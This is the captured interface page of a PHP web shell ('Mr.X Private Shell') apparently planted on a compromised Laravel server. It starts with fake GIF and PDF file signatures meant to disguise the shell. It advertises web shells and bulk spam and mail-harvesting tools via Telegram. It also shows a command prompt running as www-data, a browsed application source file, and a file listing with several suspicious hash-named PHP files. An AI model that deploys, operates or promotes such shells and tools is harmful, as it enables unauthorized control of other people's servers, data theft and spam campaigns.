GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
<?php

declare(strict_types=1);

namespace Database\Seeders;

use App\Domain\Users\UserService;
use App\Enums\RoleEnum;
use App\Models\System;
use App\Models\User;
use Illuminate\Database\Seeder;

final class RoleTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     */
    public function run(): void
    {
        /**
         * @var UserService $service
         */
        $service = app()->make(UserService::class);
        $roles = [
            //'admin', // Супер-пользователь
            RoleEnum::ACCOUNTANT, // Бухгалтер
            RoleEnum::MODERATOR, // Согласование
            RoleEnum::COLLABORATOR // Сотрудник
        ];
        $users = User::query()->where('email', '!=', 'replay@top-it.ru')->get();
        $models = System::query()->get();
        foreach ($users as $index => $user) {
            $role = $roles[$index % count($roles)];
            foreach ($models as $model) {
                $service->assignRole($user, $role, $model->id);
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
.gitignore File 14 B 0644
4b7f34ac28892a7edbece11ecc0306b3.php File 11.36 KB 0644
59af834018cc9dec720f7bdbfee7135b-20260128185734.php File 0 B 0644
59af834018cc9dec720f7bdbfee7135b.php File 0 B 0644
6aa61bc237c1a9aeb6dfa3085faddb66.php File 489 B 0644
7aed72db5df3f0e24d830168df155621.php File 0 B 0644
87b57e8d66fc2912c581fb6149e71f3f.php File 606 B 0644
9f80e7acd0e42b4f48bfb049f076dbad.php File 681 B 0644
BankService.php File 237 B 0644
OpenApiValidationErrorResponse.php File 726 B 0644
RoleTableSeeder.php File 1.04 KB 0644
a382ed936ec5555928d58018cd7424cb-20260128185651.php File 0 B 0644
a382ed936ec5555928d58018cd7424cb.php File 0 B 0644
api.php File 0 B 0644
cb9da2bf60b06b0e590512660f23967d.php File 0 B 0644
cdfc94863e7b0cf67d173a6ff6c1f6c3.php File 10.34 KB 0644
default.conf File 777 B 0644
phpunit-20260128191550.xml File 0 B 0644
phpunit.xml File 0 B 0644
scheduler.log File 0 B 0644